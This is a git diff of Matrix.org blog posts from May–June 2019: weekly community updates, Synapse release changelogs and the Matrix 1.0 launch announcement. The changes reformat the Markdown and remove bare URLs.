ctrl+shift+page down. + ![](/blog/img/2019-05-17-fractal.png) ### continuum updates [yuforia]: -> * Load message history from server lazily when scrolling -> * Loaded messages are always saved to disk, so if you aren't offline for too long, only a few messages will need to be fetched the next time you login -> * The screenshot also shows the UI for handling invitations +> - Load message history from server lazily when scrolling +> - Loaded messages are always saved to disk, so if you aren't offline for too long, only a few messages will need to be fetched the next time you login +> - The screenshot also shows the UI for handling invitations + ![](/blog/img/2019-05-17-continuum.png) ### early-day reactions support in Quaternion @@ -164,10 +168,10 @@ Think [tulir]'s been busy this week? > Lots of small changes in my projects: > -> * [mautrix-telegram] had a bunch of bugs fixed, like multiline messages from some clients not being bridged correctly. -> * [mautrix-hangouts] got matrix->hangouts image bridging and some bugfixes. -> * [mautrix-facebook] also got some bugfixes. -> * [mautrix-whatsapp] now informs the user about connection problems rather than crashing and has commands to try to reconnect. It also now bridges redactions in both directions. +> - [mautrix-telegram] had a bunch of bugs fixed, like multiline messages from some clients not being bridged correctly. +> - [mautrix-hangouts] got matrix->hangouts image bridging and some bugfixes. +> - [mautrix-facebook] also got some bugfixes. +> - [mautrix-whatsapp] now informs the user about connection problems rather than crashing and has commands to try to reconnect. It also now bridges redactions in both directions. ## Dept of Ops @@ -207,7 +211,7 @@ The bot is also now used in [#twim:matrix.org], whhere it performs the needed wo [TravisR]: -> [t2bot.io] has launched a new website, surpassed a milestone of 300k total bridged users (70k of those are active monthly), and launched 2 new early-beta-quality bridges. If you're looking to try out tulir's latest Hangouts or Facebook Messenger bridge then [t2bot.io] is an option for that, assuming you don't mind the occasional bug, missing feature, or problem. Check out https://t2bot.io/hangouts/ and https://t2bot.io/messenger/ for setup instructions. +> [t2bot.io] has launched a new website, surpassed a milestone of 300k total bridged users (70k of those are active monthly), and launched 2 new early-beta-quality bridges. If you're looking to try out tulir's latest Hangouts or Facebook Messenger bridge then [t2bot.io] is an option for that, assuming you don't mind the occasional bug, missing feature, or problem. Check out and for setup instructions. ## That's all I know diff --git a/content/blog/2019/05/2019-05-21-synapse-0-99-5-1-released.md b/content/blog/2019/05/2019-05-21-synapse-0-99-5-1-released.md index 919872e77..a074bdab7 100644 --- a/content/blog/2019/05/2019-05-21-synapse-0-99-5-1-released.md +++ b/content/blog/2019/05/2019-05-21-synapse-0-99-5-1-released.md @@ -19,11 +19,9 @@ We're really close to v1.0 now, give us a few more days and we'll announce an of As ever, you can get the new update [here](https://github.com/matrix-org/synapse/releases/tag/v0.99.5.1) or any of the sources mentioned at [https://github.com/matrix-org/synapse](https://github.com/matrix-org/synapse). Note, Synapse is now available from PyPI, pick it up [here](https://pypi.org/project/matrix-synapse/). Also, check out our [Synapse installation guide page](https://matrix.org/docs/guides/installing-synapse) -Synapse v0.99.5.1 Changelog (since v0.99.4) -========================================= +## Synapse v0.99.5.1 Changelog (since v0.99.4) -Features --------- +### Features - Add ability to blacklist IP ranges for the federation client. ([\#5043](https://github.com/matrix-org/synapse/issues/5043)) - Ratelimiting configuration for clients sending messages and the federation server has been altered to match login ratelimiting. The old configuration names will continue working. Check the sample config for details of the new names. ([\#5181](https://github.com/matrix-org/synapse/issues/5181)) @@ -33,9 +31,7 @@ Features - Add experimental support for relations (aka reactions and edits). ([\#5209](https://github.com/matrix-org/synapse/issues/5209), [\#5211](https://github.com/matrix-org/synapse/issues/5211), [\#5203](https://github.com/matrix-org/synapse/issues/5203), [\#5212](https://github.com/matrix-org/synapse/issues/5212)) - Add a room version 4 which uses a new event ID format, as per [MSC2002](https://github.com/matrix-org/matrix-doc/pull/2002). ([\#5210](https://github.com/matrix-org/synapse/issues/5210), [\#5217](https://github.com/matrix-org/synapse/issues/5217)) - -Bugfixes --------- +### Bugfixes - Fix image orientation when generating thumbnails (needs pillow>=4.3.0). Contributed by Pau Rodriguez-Estivill. ([\#5039](https://github.com/matrix-org/synapse/issues/5039)) - Exclude soft-failed events from forward-extremity candidates: fixes "No forward extremities left!" error. ([\#5146](https://github.com/matrix-org/synapse/issues/5146)) @@ -46,9 +42,7 @@ Bugfixes - Fix incompatibility between ACME support and Python 3.5.2. ([\#5218](https://github.com/matrix-org/synapse/issues/5218)) - Fix error handling for rooms whose versions are unknown. ([\#5219](https://github.com/matrix-org/synapse/issues/5219)) - -Internal Changes ----------------- +### Internal Changes - Make /sync attempt to return device updates for both joined and invited users. Note that this doesn't currently work correctly due to other bugs. ([\#3484](https://github.com/matrix-org/synapse/issues/3484)) - Update tests to consistently be configured via the same code that is used when loading from configuration files. ([\#5171](https://github.com/matrix-org/synapse/issues/5171), [\#5185](https://github.com/matrix-org/synapse/issues/5185)) @@ -56,4 +50,3 @@ Internal Changes - Expose DataStore._get_events as get_events_as_list. ([\#5184](https://github.com/matrix-org/synapse/issues/5184)) - Make generating SQL bounds for pagination generic. ([\#5191](https://github.com/matrix-org/synapse/issues/5191)) - Stop telling people to install the optional dependencies by default. ([\#5197](https://github.com/matrix-org/synapse/issues/5197)) - diff --git a/content/blog/2019/05/2019-05-24-final-countdown-to-1-0.md b/content/blog/2019/05/2019-05-24-final-countdown-to-1-0.md index ea428ed01..0b2cdfc8d 100644 --- a/content/blog/2019/05/2019-05-24-final-countdown-to-1-0.md +++ b/content/blog/2019/05/2019-05-24-final-countdown-to-1-0.md @@ -16,22 +16,21 @@ After lots of refinements, polishing and a few distractions we’re finally at t This is the end game of the process we began back in February when we released the [first stable release of the Server-Server API](https://matrix.org/blog/2019/02/04/matrix-at-fosdem-2019) at FOSDEM, and started the [Synapse 0.99](https://matrix.org/blog/2019/02/05/synapse-0-99-0) release series to prepare for 1.0. -Matrix 1.0 refers to the upcoming set of API releases which provides a matched set of stable and secure APIs across all of Matrix - at which point the project (at last) exits beta! In practice, this will be Client-Server API 0.5 (including final membership lazy loading, E2E backups and interactive verification and lots more), SS API 0.2 (including server key validity period fixes and associated v5 room protocol) and any other spec updates. The next 2 weeks will see a flurry of spec activity as we get everything together - you can see the full list and track the progress for the CS 0.5 spec release at https://github.com/matrix-org/matrix-doc/projects/2. +Matrix 1.0 refers to the upcoming set of API releases which provides a matched set of stable and secure APIs across all of Matrix - at which point the project (at last) exits beta! In practice, this will be Client-Server API 0.5 (including final membership lazy loading, E2E backups and interactive verification and lots more), SS API 0.2 (including server key validity period fixes and associated v5 room protocol) and any other spec updates. The next 2 weeks will see a flurry of spec activity as we get everything together - you can see the full list and track the progress for the CS 0.5 spec release at . -Meanwhile, Synapse 1.0 will be the reference implementation of Matrix 1.0, and so makes the changes required to implement Matrix 1.0 and close all currently known security and stability issues and thus exit beta. This means changing the default room protocol version used for new rooms to be [v4](https://github.com/matrix-org/matrix-doc/blob/37871106c6fc6013c17b5711fb93853fff140267/proposals/2002-rooms-v4.md), which includes the new [state resolution algorithm](https://github.com/matrix-org/matrix-doc/blob/f714aaadd011ac736d779f8460202a8d95799123/proposals/1442-state-resolution.md), as well as [collision-resistant event IDs](https://github.com/matrix-org/matrix-doc/blob/erikj/event_id_hashes/proposals/1659-event-id-as-hashes.md), which are now formatted to be [URL safe](https://github.com/matrix-org/matrix-doc/blob/rav/proposal/no_slash_in_event_id/proposals/1884-replace-slashes-in-event_ids.md). **Support for v4 rooms shipped in [Synapse 0.99.5.1](https://matrix.org/blog/2019/05/21/synapse-0-99-5-1-released), so please upgrade asap to 0.99.5.1 before 1.0 is released to ease the transition.**. Synapse 1.0 will also ship with support for the upcoming v5 room protocol (which enforces honouring server key validity periods), but this will not used as the default for new rooms until sufficient servers are speaking Matrix 1.0. +Meanwhile, Synapse 1.0 will be the reference implementation of Matrix 1.0, and so makes the changes required to implement Matrix 1.0 and close all currently known security and stability issues and thus exit beta. This means changing the default room protocol version used for new rooms to be [v4](https://github.com/matrix-org/matrix-doc/blob/37871106c6fc6013c17b5711fb93853fff140267/proposals/2002-rooms-v4.md), which includes the new [state resolution algorithm](https://github.com/matrix-org/matrix-doc/blob/f714aaadd011ac736d779f8460202a8d95799123/proposals/1442-state-resolution.md), as well as [collision-resistant event IDs](https://github.com/matrix-org/matrix-doc/blob/erikj/event_id_hashes/proposals/1659-event-id-as-hashes.md), which are now formatted to be [URL safe](https://github.com/matrix-org/matrix-doc/blob/rav/proposal/no_slash_in_event_id/proposals/1884-replace-slashes-in-event_ids.md). __Support for v4 rooms shipped in [Synapse 0.99.5.1](https://matrix.org/blog/2019/05/21/synapse-0-99-5-1-released), so please upgrade asap to 0.99.5.1 before 1.0 is released to ease the transition.__. Synapse 1.0 will also ship with support for the upcoming v5 room protocol (which enforces honouring server key validity periods), but this will not used as the default for new rooms until sufficient servers are speaking Matrix 1.0. As part of the security work, Matrix 1.0 and Synapse 1.0 also contains a [breaking change](https://github.com/matrix-org/synapse/blob/master/docs/MSC1711_certificates_FAQ.md#it-used-to-work-just-fine-why-are-you-breaking-everything) that requires a valid TLS certificate on the federation API endpoint. __Servers that do not configure their certificate will no longer be able to federate post 1.0__ You can check that your server has been correctly configured [here](https://federationtester.matrix.org/) and see [here](https://github.com/matrix-org/synapse/blob/master/docs/MSC1711_certificates_FAQ.md) for more info on what you need to do. If in doubt head to [#synapse:matrix.org](https://matrix.to/#/#synapse:matrix.org). -We've been tracking readiness for the certificate change at https://arewereadyyet.com, at the time of writing 68% of active _servers_ on the federation have valid certificates. We obviously would want that number to be higher, however since the largest installations _have_ upgraded the total number of _users_ who are ready for 1.0 stands at 96%, which we consider to be high enough to release 1.0. +We've been tracking readiness for the certificate change at , at the time of writing 68% of active _servers_ on the federation have valid certificates. We obviously would want that number to be higher, however since the largest installations _have_ upgraded the total number of _users_ who are ready for 1.0 stands at 96%, which we consider to be high enough to release 1.0. + ![](/blog/img/awry.2019-05-24.png) -**This is not a drill**, from here until 10th June we need everyone to not only ensure that their own server is ready, but also to encourage their fellow admins to update as well. With your help we can get everyone over the line! - +__This is not a drill__, from here until 10th June we need everyone to not only ensure that their own server is ready, but also to encourage their fellow admins to update as well. With your help we can get everyone over the line! Thanks everyone for your help to date, especially those providing support in [#synapse:matrix.org](https://matrix.to/#/#synapse:matrix.org). Onwards! - diff --git a/content/blog/2019/05/2019-05-24-this-week-in-matrix-2019-05-24.md b/content/blog/2019/05/2019-05-24-this-week-in-matrix-2019-05-24.md index f2b71de98..1261e8d35 100644 --- a/content/blog/2019/05/2019-05-24-this-week-in-matrix-2019-05-24.md +++ b/content/blog/2019/05/2019-05-24-this-week-in-matrix-2019-05-24.md @@ -58,6 +58,7 @@ In other news: Check it out at: + ![](/blog/img/2019-05-24-tangent.png) ### continuum @@ -65,10 +66,12 @@ Check it out at: [yuforia] updated their JavaJX client: > minor changes in [continuum](https://github.com/koma-im/continuum-desktop) this week: +> > * updated controlsfx to version 11, which has better modularization support ->* sync issue indicator now uses NotificationPane from controlsfx, so now it has slide-in animation when it appears -https://matrix.org/_matrix/media/v1/download/matrix.org/VtPORWFqBamfnuJtPtgEXWBs +> * sync issue indicator now uses NotificationPane from controlsfx, so now it has slide-in animation when it appears + + ![](/blog/img/2019-05-24-continuum.png) ### Neo now has image, video and general file sending @@ -81,6 +84,7 @@ https://matrix.org/_matrix/media/v1/download/matrix.org/VtPORWFqBamfnuJtPtgEXWBs > Due to the loss of lain.haus, I lost admin access in the Neo room, so keep your eyes out for a new one when my infra is back. > I'm currently not really versioning anything, but I do push significant commits to for people to try. Once it gets to a more useable state, I'll start adopting semantic versioning. + ![](/blog/img/2019-05-24-neo.png) ### Spectral update @@ -105,9 +109,9 @@ https://matrix.org/_matrix/media/v1/download/matrix.org/VtPORWFqBamfnuJtPtgEXWBs [krombel] updated their Riot(X) F-Droid repos: > I finally found some time to update my fdroid repos which provide the development builds of riot and riotx. Now the builds of buildkite are part of the repos. -> There are now 4 separate repos: One for each app and flavor. You can have a look at https://fdroid.krombel.de to find out the URL for the version you want to use. +> There are now 4 separate repos: One for each app and flavor. You can have a look at to find out the URL for the version you want to use. -``` +```txt Riot-dev (F-Droid; Repo; Build-Source) https://fdroid.krombel.de/riot-dev-fdroid https://fdroid.krombel.de/riot-dev-fdroid/fdroid/repo @@ -140,13 +144,13 @@ RiotX-dev (GPlay; Repo; Build-Source) >* New portals are populated with some history when creating them (exact count is configurable) >* All messages missed during bridge downtime are backfilled >* Creating portals is smarter now: -> * When logging in initially, it'll create portals for a few recent chats (count configurable). -> * It'll create portals when there are incoming messages as before, but it should no longer create portals for chats that only have old messages. -> * The missed message backfilling creates portals when necessary. +> * When logging in initially, it'll create portals for a few recent chats (count configurable). +> * It'll create portals when there are incoming messages as before, but it should no longer create portals for chats that only have old messages. +> * The missed message backfilling creates portals when necessary. > >Matrix puppeting isn't quite finished yet. It can already use your Matrix account to bridge messages sent from whatsapp mobile, but it doesn't use the account to bridge EDUs (typing notifs, presence, read receipts) yet. > ->To make the history bridging a bit nicer, I made a PR to fix timestamp massaging in synapse: https://github.com/matrix-org/synapse/pull/5233. Timestamp massaging was removed from the spec in 1.0, but it wasn't intentionally removed from synapse, it just broke due to other changes. It was probably supposed to stay there as an easter egg until there's a proper solution for bridging history. +>To make the history bridging a bit nicer, I made a PR to fix timestamp massaging in synapse: . Timestamp massaging was removed from the spec in 1.0, but it wasn't intentionally removed from synapse, it just broke due to other changes. It was probably supposed to stay there as an easter egg until there's a proper solution for bridging history. ## Dept of Ops 🛠 @@ -164,8 +168,9 @@ RiotX-dev (GPlay; Repo; Build-Source) ### Modular -New widget for Scalar: EtherCalc. +New widget for Scalar: EtherCalc. + ![](/blog/img/2019-05-24-ethercalc.png) ## Dept of Bots 🤖 @@ -180,7 +185,7 @@ Very *very* new, let's take a look at QuatBot, which uses libQuotient: [uhoreg] wrote a *really* informative article about key verification: -> For those who want to know more about the security behind emoji-based key verification, I've written a blog post about it: https://www.uhoreg.ca/blog/20190514-1146 +> For those who want to know more about the security behind emoji-based key verification, I've written a blog post about it: ## Dept of GSOC 🎓 @@ -204,25 +209,15 @@ Thanks [Kai](https://matrix.to/#/@kai:nasnotfound.de) for this introduction to h See you next week, and be sure to stop by [#twim:matrix.org] with your updates! -[Construct]: https://github.com/matrix-construct/construct/ [Wilko]: https://matrix.to/#/@wilko:matrix.org -[#test:zemos.net]: https://matrix.to/#/#test:zemos.net [sanlox]: https://matrix.to/#/@sanlox:matrix.org [Black Hat]: https://matrix.to/#/@bhat:encom.eu.org -[Alexandre Franke]: https://matrix.to/#/@afranke:matrix.org [yuforia]: https://matrix.to/#/@uforia:matrix.org [kitsune]: https://matrix.to/#/@kitsune:matrix.org -[Half-Shot]: https://matrix.to/#/@Half-Shot:half-shot.uk [tulir]: https://matrix.to/#/@tulir:maunium.net [Ananace]: https://github.com/ananace/ -[andrewsh]: https://matrix.to/#/@andrew:shadura.me -[#debian-matrix:matrix.org]: https://matrix.to/#/#debian-matrix:matrix.org [Mathijs]: https://matrix.to/#/@mathijs:matrix.vgorcum.com -[TravisR]: https://github.com/turt2live -[t2bot.io]: https://t2bot.io/ [#twim:matrix.org]: https://matrix.to/#/#twim:matrix.org -[Quaternion]: https://github.com/QMatrixClient/Quaternion -[Aaron Raimist]: https://matrix.to/#/@aaron:raim.ist [mautrix-whatsapp]: https://github.com/tulir/mautrix-whatsapp [Spectral]: https://gitlab.com/spectral-im/spectral [krombel]: https://matrix.to/#/@krombel:msg-net.de diff --git a/content/blog/2019/05/2019-05-30-synapse-0-99-5-2-released.md b/content/blog/2019/05/2019-05-30-synapse-0-99-5-2-released.md index dd7756c7b..473f2d72c 100644 --- a/content/blog/2019/05/2019-05-30-synapse-0-99-5-2-released.md +++ b/content/blog/2019/05/2019-05-30-synapse-0-99-5-2-released.md @@ -16,10 +16,8 @@ Please upgrade asap. You can get the new update [here](https://github.com/matrix-org/synapse/releases/tag/v0.99.5.2) or any of the sources mentioned at [https://github.com/matrix-org/synapse](https://github.com/matrix-org/synapse). Note, Synapse is now available from PyPI, pick it up [here](https://pypi.org/project/matrix-synapse/). Also, check out our [Synapse installation guide page](https://matrix.org/docs/guides/installing-synapse). -Synapse v0.99.5.2 Changelog -=========================== +## Synapse v0.99.5.2 Changelog -Bugfixes --------- +### Bugfixes - Fix bug where we leaked extremities when we soft failed events, leading to performance degradation. ([\#5274](https://github.com/matrix-org/synapse/issues/5274), [\#5278](https://github.com/matrix-org/synapse/issues/5278), [\#5291](https://github.com/matrix-org/synapse/issues/5291)) diff --git a/content/blog/2019/06/2019-06-07-this-week-in-matrix-2019-06-07.md b/content/blog/2019/06/2019-06-07-this-week-in-matrix-2019-06-07.md index 9c02e6f52..5768ed53d 100644 --- a/content/blog/2019/06/2019-06-07-this-week-in-matrix-2019-06-07.md +++ b/content/blog/2019/06/2019-06-07-this-week-in-matrix-2019-06-07.md @@ -62,7 +62,7 @@ Join the newly created room at [#matrix-synchrotron-balancer:sorunome.de](https: [Ananace]: > Just released version 1.1.0 of the [Ruby SDK], which includes a few more and improved CS API endpoints, better room alias handling, lazy loading of join rules and guest access, and the forgotten - oops - handling of room avatars. - +> > And released version 1.1.1 of the Ruby SDK too, fixing another embarrassing mistake with not including the S2S API methods correctly, which lost the server version retrieval method (The only currently implemented part of the S2S API) ## Dept of Clients 📱 @@ -134,7 +134,7 @@ Nothing special this week. Changelog for 0.12.0: -``` +```txt The bridge now supports upgrading rooms, and will follow room upgrades to the new room. Added support for the RoomLinkValidator, which allows admins to manually configure rules about plumbing rooms. A dockerfile is now included. @@ -157,7 +157,7 @@ High-level plan for 0.13.0: Join [#matrixservers:novaim.com](https://matrix.to/#/#matrixservers:novaim.com) for more. -### www.matrix-wiki.org +### [sanlox]: @@ -174,13 +174,9 @@ See you next week, and be sure to stop by [#twim:matrix.org] with your updates! [Ananace]: https://github.com/ananace/ [Alexandre Franke]: https://matrix.to/#/@afranke:matrix.org [yuforia]: https://matrix.to/#/@uforia:matrix.org -[Aaron Raimist]: https://matrix.to/#/@aaron:raim.ist [TravisR]: https://github.com/turt2live [Construct]: https://github.com/matrix-construct/construct/ -[red_sky]: https://matrix.to/#/@red_sky:ocean.joedonofry.com [Fractal]: https://wiki.gnome.org/Apps/Fractal -[tulir]: https://matrix.to/#/@tulir:maunium.net -[Slavi]: https://matrix.to/#/@slavi:devture.com [#twim:matrix.org]: https://matrix.to/#/#twim:matrix.org [Atreatis]: https://matrix.to/#/@atreatis:novaim.com [Ruby SDK]: https://github.com/ananace/ruby-matrix-sdk diff --git a/content/blog/2019/06/2019-06-11-introducing-matrix-1-0-and-the-matrix-org-foundation.md b/content/blog/2019/06/2019-06-11-introducing-matrix-1-0-and-the-matrix-org-foundation.md index e7e65b8d0..28e59e16f 100644 --- a/content/blog/2019/06/2019-06-11-introducing-matrix-1-0-and-the-matrix-org-foundation.md +++ b/content/blog/2019/06/2019-06-11-introducing-matrix-1-0-and-the-matrix-org-foundation.md @@ -24,42 +24,44 @@ On the Synapse side, our focus has been exclusively on ensuring that Synapse cor All this means that the main headline features which land in Matrix 1.0 are vitally important but relatively dry: -* Using X.509 certificates to trust servers rather than perspective notaries, to simplify and improve server-side trust. This is a **breaking change** across Matrix, and we’ve given the community several months now to ensure their homeservers run a valid TLS certificate. See [MSC1711](https://github.com/matrix-org/synapse/blob/master/docs/MSC1711_certificates_FAQ.md) for full details, and the [2 week warning](https://matrix.org/blog/2019/05/24/final-countdown-to-1-0) we gave. As of ~9am UTC today, the matrix.org homeserver is running Synapse 1.0 and enforcing valid TLS certificates - the transition has begun (and so far we haven’t spotted any major breakage :). Thank you to everyone who [got ready](https://arewereadyyet.com) in advance! -* Using .well-known URIs to discover servers, in case you can’t get a valid TLS certificate for your server’s domain. -* Switching to **[room version 4](https://matrix.org/docs/spec/rooms/v4.html) by default** for creating new rooms. This fixes the most important defects that the core room algorithm has historically encountered, particularly: - * The new State Resolution algorithm to fix the [Hotel California bug](https://github.com/matrix-org/synapse/issues/2432) and many others: [State Resolution Reloaded](https://github.com/matrix-org/matrix-doc/issues/1442) - * [Collision resistant event IDs](https://github.com/matrix-org/matrix-doc/pull/1659) -* Specifying the ability to upgrade between room versions -* Full specification of lazy loading room members -* [Short Authentication String](https://github.com/matrix-org/matrix-doc/issues/1267) (Emoji!) interactive verification of E2EE devices -* ...and lots and lots and lots of bugfixes and spec omission fixes. +* Using X.509 certificates to trust servers rather than perspective notaries, to simplify and improve server-side trust. This is a **breaking change** across Matrix, and we’ve given the community several months now to ensure their homeservers run a valid TLS certificate. See [MSC1711](https://github.com/matrix-org/synapse/blob/master/docs/MSC1711_certificates_FAQ.md) for full details, and the [2 week warning](https://matrix.org/blog/2019/05/24/final-countdown-to-1-0) we gave. As of ~9am UTC today, the matrix.org homeserver is running Synapse 1.0 and enforcing valid TLS certificates - the transition has begun (and so far we haven’t spotted any major breakage :). Thank you to everyone who [got ready](https://arewereadyyet.com) in advance! +* Using .well-known URIs to discover servers, in case you can’t get a valid TLS certificate for your server’s domain. +* Switching to **[room version 4](https://matrix.org/docs/spec/rooms/v4.html) by default** for creating new rooms. This fixes the most important defects that the core room algorithm has historically encountered, particularly: + * The new State Resolution algorithm to fix the [Hotel California bug](https://github.com/matrix-org/synapse/issues/2432) and many others: [State Resolution Reloaded](https://github.com/matrix-org/matrix-doc/issues/1442) + * [Collision resistant event IDs](https://github.com/matrix-org/matrix-doc/pull/1659) +* Specifying the ability to upgrade between room versions +* Full specification of lazy loading room members +* [Short Authentication String](https://github.com/matrix-org/matrix-doc/issues/1267) (Emoji!) interactive verification of E2EE devices +* ...and lots and lots and lots of bugfixes and spec omission fixes. That said, there is a *lot* of really exciting stuff in flight right now which sadly didn’t stabilise in time for Matrix 1.0, but will be landing as fast as we can finalise it now that 1.0 is at last out the door. This includes: -* Editable messages! (These are in Synapse 1.0 and Riot already, but still stabilising so not enabled by default) -* Reactions! (Similarly these are in develop) -* Threading!! (We’ve planted the seeds for this in the new ‘aggregations’ support which powers edits & reactions - but full thread support is still a bit further out). -* [Cross-signed verification for end-to-end encryption](https://github.com/uhoreg/matrix-doc/blob/cross-signing2/proposals/1756-cross-signing.md) (This is on a branch, but due to land any day now). We’ve also held off merging E2E backups into the Matrix 1.0 spec until cross-signing lands, given it may change the backup behaviour a bit. Once this is done, we can seriously talk about turning on E2E by default everywhere. -* Live-tracking of room statistics and state in Synapse! (This is in Synapse 1.0 already if you check out the new room_stats and room_state tables, but we need to provide a nice admin interface for it). -* Support for smaller footprint homeservers by reducing memory usage and stopping them from joining overly complex rooms. +* Editable messages! (These are in Synapse 1.0 and Riot already, but still stabilising so not enabled by default) +* Reactions! (Similarly these are in develop) +* Threading!! (We’ve planted the seeds for this in the new ‘aggregations’ support which powers edits & reactions - but full thread support is still a bit further out). +* [Cross-signed verification for end-to-end encryption](https://github.com/uhoreg/matrix-doc/blob/cross-signing2/proposals/1756-cross-signing.md) (This is on a branch, but due to land any day now). We’ve also held off merging E2E backups into the Matrix 1.0 spec until cross-signing lands, given it may change the backup behaviour a bit. Once this is done, we can seriously talk about turning on E2E by default everywhere. +* Live-tracking of room statistics and state in Synapse! (This is in Synapse 1.0 already if you check out the new room_stats and room_state tables, but we need to provide a nice admin interface for it). +* Support for smaller footprint homeservers by reducing memory usage and stopping them from joining overly complex rooms. Then stuff which we haven’t yet started, but is now unlocked by the 1.0 release: -* Fixing extremities build-up (and so massively improving performance) -* Rewriting Communities. Groups/Communities deliberately didn’t land in Matrix 1.0 as the current implementation has issues we want to fix first. [MSC1772](https://github.com/matrix-org/matrix-doc/pull/1772) has the details. -* Rewritten room directory using the new room stats/state tables to be super-speedy. -* Super-speedy [incremental state resolution](https://github.com/matrix-org/synapse/pull/3122) -* Removing MXIDs from events ([MSC1228](https://github.com/matrix-org/matrix-doc/issues/1228)) +* Fixing extremities build-up (and so massively improving performance) +* Rewriting Communities. Groups/Communities deliberately didn’t land in Matrix 1.0 as the current implementation has issues we want to fix first. [MSC1772](https://github.com/matrix-org/matrix-doc/pull/1772) has the details. +* Rewritten room directory using the new room stats/state tables to be super-speedy. +* Super-speedy [incremental state resolution](https://github.com/matrix-org/synapse/pull/3122) +* Removing MXIDs from events ([MSC1228](https://github.com/matrix-org/matrix-doc/issues/1228)) Just to give a quick taster of the shape of things to come, here’s RiotX/Android, the all-new Riot client for Android, showing off Edits & Reactions in the wild…
    +
    ...and here’s a screenshot of the final test jig for cross-signing devices in end-to-end encryption, so you will never have to manually verify new devices for a trusted user ever again! We demoed a *very* early version of this at FOSDEM, but this here is the testing harness for real deal, after several iterations of the spec and implementation to nail down the model. + means the device/user's cross-signing key is trusted, T means it's TOFU:
    +
    @@ -118,4 +120,3 @@ Finally, huge thanks to everyone who has continued to support us through thick a So: thank you once again for flying Matrix. We hope you enjoy 1.0, and we look forward to everything else landing on the horizon! \- Matthew, Amandine & the whole Matrix.org Team. - diff --git a/content/blog/2019/06/2019-06-11-synapse-1-0-0-released.md b/content/blog/2019/06/2019-06-11-synapse-1-0-0-released.md index 45ff3202b..c8398e0fe 100644 --- a/content/blog/2019/06/2019-06-11-synapse-1-0-0-released.md +++ b/content/blog/2019/06/2019-06-11-synapse-1-0-0-released.md @@ -27,49 +27,35 @@ As ever, you can get the new update [here](https://github.com/matrix-org/synapse The changelog since 0.99.5 follows: -Synapse 1.0.0 (2019-06-11) -========================== +## Synapse 1.0.0 (2019-06-11) -Bugfixes --------- +### Bugfixes - Fix bug where attempting to send transactions with large number of EDUs can fail. ([\#5418](https://github.com/matrix-org/synapse/issues/5418)) - -Improved Documentation ----------------------- +### Improved Documentation - Expand the federation guide to include relevant content from the MSC1711 FAQ ([\#5419](https://github.com/matrix-org/synapse/issues/5419)) - -Internal Changes ----------------- +### Internal Changes - Move password reset links to /_matrix/client/unstable namespace. ([\#5424](https://github.com/matrix-org/synapse/issues/5424)) - -Synapse 1.0.0rc3 (2019-06-10) -============================= +## Synapse 1.0.0rc3 (2019-06-10) Security: Fix authentication bug introduced in 1.0.0rc1. Please upgrade to rc3 immediately +## Synapse 1.0.0rc2 (2019-06-10) -Synapse 1.0.0rc2 (2019-06-10) -============================= - -Bugfixes --------- +### Bugfixes - Remove redundant warning about key server response validation. ([\#5392](https://github.com/matrix-org/synapse/issues/5392)) - Fix bug where old keys stored in the database with a null valid until timestamp caused all verification requests for that key to fail. ([\#5415](https://github.com/matrix-org/synapse/issues/5415)) - Fix excessive memory using with default `federation_verify_certificates: true` configuration. ([\#5417](https://github.com/matrix-org/synapse/issues/5417)) +## Synapse 1.0.0rc1 (2019-06-07) -Synapse 1.0.0rc1 (2019-06-07) -============================= - -Features --------- +### Features - Synapse now more efficiently collates room statistics. ([\#4338](https://github.com/matrix-org/synapse/issues/4338), [\#5260](https://github.com/matrix-org/synapse/issues/5260), [\#5324](https://github.com/matrix-org/synapse/issues/5324)) - Add experimental support for relations (aka reactions and edits). ([\#5220](https://github.com/matrix-org/synapse/issues/5220)) @@ -84,9 +70,7 @@ Features - Add ability to perform password reset via email without trusting the identity server. ([\#5377](https://github.com/matrix-org/synapse/issues/5377)) - Set default room version to v4. ([\#5379](https://github.com/matrix-org/synapse/issues/5379)) - -Bugfixes --------- +### Bugfixes - Fixes client-server API not sending "m.heroes" to lazy-load /sync requests when a rooms name or its canonical alias are empty. Thanks to @dnaf for this work! ([\#5089](https://github.com/matrix-org/synapse/issues/5089)) - Prevent federation device list updates breaking when processing multiple updates at once. ([\#5156](https://github.com/matrix-org/synapse/issues/5156)) @@ -119,16 +103,12 @@ Bugfixes - Fix `federation_custom_ca_list` configuration option. ([\#5362](https://github.com/matrix-org/synapse/issues/5362)) - Fix missing logcontext warnings on shutdown. ([\#5369](https://github.com/matrix-org/synapse/issues/5369)) - -Improved Documentation ----------------------- +### Improved Documentation - Fix docs on resetting the user directory. ([\#5282](https://github.com/matrix-org/synapse/issues/5282)) - Fix notes about ACME in the MSC1711 faq. ([\#5357](https://github.com/matrix-org/synapse/issues/5357)) - -Internal Changes ----------------- +### Internal Changes - Synapse will now serve the experimental "room complexity" API endpoint. ([\#5216](https://github.com/matrix-org/synapse/issues/5216)) - The base classes for the v1 and v2_alpha REST APIs have been unified. ([\#5226](https://github.com/matrix-org/synapse/issues/5226), [\#5328](https://github.com/matrix-org/synapse/issues/5328)) diff --git a/content/blog/2019/06/2019-06-14-this-week-in-matrix-2019-06-14.md b/content/blog/2019/06/2019-06-14-this-week-in-matrix-2019-06-14.md index 902e04785..a91ec4568 100644 --- a/content/blog/2019/06/2019-06-14-this-week-in-matrix-2019-06-14.md +++ b/content/blog/2019/06/2019-06-14-this-week-in-matrix-2019-06-14.md @@ -68,7 +68,7 @@ Pattle is going great guns at the moment. Here's [Wilko]:- > * Use a bit bolder font for chat names in overview >To install this release, add the following repo in F-droid: > ->https://fdroid.pattle.im/?fingerprint=E91F63CA6AE04F8E7EA53E52242EAF8779559209B8A342F152F9E7265E3EA729 +> > >And install 'Pattle'. > @@ -84,6 +84,7 @@ Pattle is going great guns at the moment. Here's [Wilko]:- Pattle | Pattle :-------------------------:|:-------------------------: + ![](/blog/img/2019-06-14-pattle-1.png)| ![](/blog/img/2019-06-14-pattle-2.png) ## RiotX (Android) @@ -109,7 +110,7 @@ Pattle is going great guns at the moment. Here's [Wilko]:- * Editing now supports editing unsent messages(!!), editing emotes, and lots of polish * Reactions now instantly cancel when you redact them * Redactions now instantly redact when you send them -* Released v1.2.2-rc1 (up for testing at https://riot.im/staging/) - this release includes room breadcrumbs being out of labs, some fixes for inviting by email, fixes uploads in chrome canary / firefox nightly, config file validation, some fixes for the new emoji font and lots of other bug fixes. +* Released v1.2.2-rc1 (up for testing at ) - this release includes room breadcrumbs being out of labs, some fixes for inviting by email, fixes uploads in chrome canary / firefox nightly, config file validation, some fixes for the new emoji font and lots of other bug fixes. ## Ruma @@ -129,13 +130,13 @@ Pattle is going great guns at the moment. Here's [Wilko]:- [Half-Shot] reports that: -> I wrote a bot to control ansible playbooks 